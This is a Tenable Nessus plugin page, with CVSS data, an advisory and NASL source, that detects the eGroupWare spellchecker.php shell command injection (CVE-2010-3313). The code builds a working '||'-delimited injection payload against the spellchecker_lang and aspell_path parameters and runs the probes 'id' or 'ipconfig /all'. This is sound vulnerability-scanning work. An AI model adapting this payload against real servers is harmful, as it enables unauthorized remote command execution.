CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
88.1%
The version of eGroupWare hosted on the remote web server fails to sanitize user-supplied input to the ‘aspell_path’ and/or ‘spellchecker_lang’ parameters of the ‘spellchecker.php’ script before passing it to a shell.
An unauthenticated, remote attacker can leverage these issues to execute arbitrary commands subject to the privileges under which the web server operates.
Note that the install likely has a cross-site scripting vulnerability, although Nessus has not checked for this.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(45023);
script_version("1.16");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2010-3313");
script_bugtraq_id(38609, 38794);
script_xref(name:"SECUNIA", value:"38859");
script_name(english:"eGroupWare spellchecker.php Arbitrary Shell Command Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that can be abused to
execute arbitrary commands.");
script_set_attribute(attribute:"description", value:
"The version of eGroupWare hosted on the remote web server fails to
sanitize user-supplied input to the 'aspell_path' and/or
'spellchecker_lang' parameters of the 'spellchecker.php' script before
passing it to a shell.
An unauthenticated, remote attacker can leverage these issues to
execute arbitrary commands subject to the privileges under which the
web server operates.
Note that the install likely has a cross-site scripting vulnerability,
although Nessus has not checked for this.");
script_set_attribute(attribute:"see_also", value:"http://www.cybsec.com/vuln/cybsec_advisory_2010_0303_egroupware_.pdf");
script_set_attribute(attribute:"see_also", value:"http://www.egroupware.org/news?category_id=95&item=93");
script_set_attribute(attribute:"solution", value:
"Upgrade to eGroupWare 1.6.003 / eGroupWare version EPL 9.1.20100309 /
9.2.20100309 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2010/03/09");
script_set_attribute(attribute:"patch_publication_date", value:"2010/03/09");
script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/10");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:egroupware:egroupware");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("egroupware_detect.nasl", "os_fingerprint.nasl");
script_require_keys("www/egroupware");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");
port = get_http_port(default:80, php:TRUE);
# Test an install.
install = get_install_from_kb(appname:'egroupware', port:port);
if (isnull(install)) exit(1, "eGroupWare wasn't detected on port "+port+".");
dir = install['dir'];
# nb: if you want to see multiline output under *nix, filter output and
# change newlines into carriage returns (eg, append '|tr "\n" "\r"'
# to the command) and the plugin will take care of that.
os = get_kb_item("Host/OS");
if (os)
{
if ("Windows" >< os) cmd = "ipconfig /all";
else cmd = "id";
cmds = make_list(cmd);
}
else cmds = make_list("id", "ipconfig /all");
cmd_pats = make_array();
cmd_pats["id"] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats["ipconfig /all"] = "Subnet Mask";
foreach cmd (cmds)
{
exploit = SCRIPT_NAME + '||' + cmd + ' ||';
url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
'spellchecker_lang=' + urlencode(str:exploit);
res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);
# If the exploit didn't work and the "Perform thorough tests" setting is enabled, check for the other vuln.
if (
(!res[2] || !egrep(pattern:cmd_pats[cmd], string:res[2])) &&
thorough_tests
)
{
url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
'aspell_path=' + urlencode(str:exploit);
res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);
}
error = NULL;
if (res[2] && "error = '" >< res[2])
{
foreach line (split(res[2], keep:FALSE))
if (line =~ "^error = '")
{
error = line - "error = '";
error = substr(error, 0, strlen(error)-2);
break;
}
}
if (isnull(error)) continue;
# There's a problem if we see the expected command output.
pat = cmd_pats[cmd];
if (
'-a --lang='+exploit >< error ||
'Aspell program execution failed (`'+exploit >< error ||
egrep(pattern:pat, string:error)
)
{
output = strstr(error, "`\\n") - "`\\n";
output = substr(output, 0, strlen(output)-2);
output = str_replace(find:'\r', replace:'\n', string:output);
if (egrep(pattern:pat, string:output))
{
if (report_verbosity > 0)
{
header =
"Nessus was able to execute the command '" + cmd + "' on the" + '\n' +
'remote host using the following URL';
trailer = '';
if (report_verbosity > 1)
{
output = data_protection::sanitize_uid(output:output);
trailer =
'This produced the following output :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
output + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
security_hole(port:port, extra:report);
}
else security_hole(port);
}
else
{
if (report_verbosity > 0)
{
header =
"Nessus tried to execute the command '" + cmd + "' on the" + '\n' +
'remote host using the following URL';
trailer =
'While it did not receive the expected output, the install appears\n' +
'vulnerable to attack based on the following error message generated\n' +
'by the application :\n' +
'\n' +
" " + error + '\n';
report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
security_hole(port:port, extra:report);
}
else security_hole(port);
}
exit(0);
}
}
exit(0, "The eGroupWare install at "+build_url(port:port, qs:dir+"/")+" is not affected.");
Vendor | Product | Version | CPE |
---|---|---|---|
egroupware | egroupware | cpe:/a:egroupware:egroupware |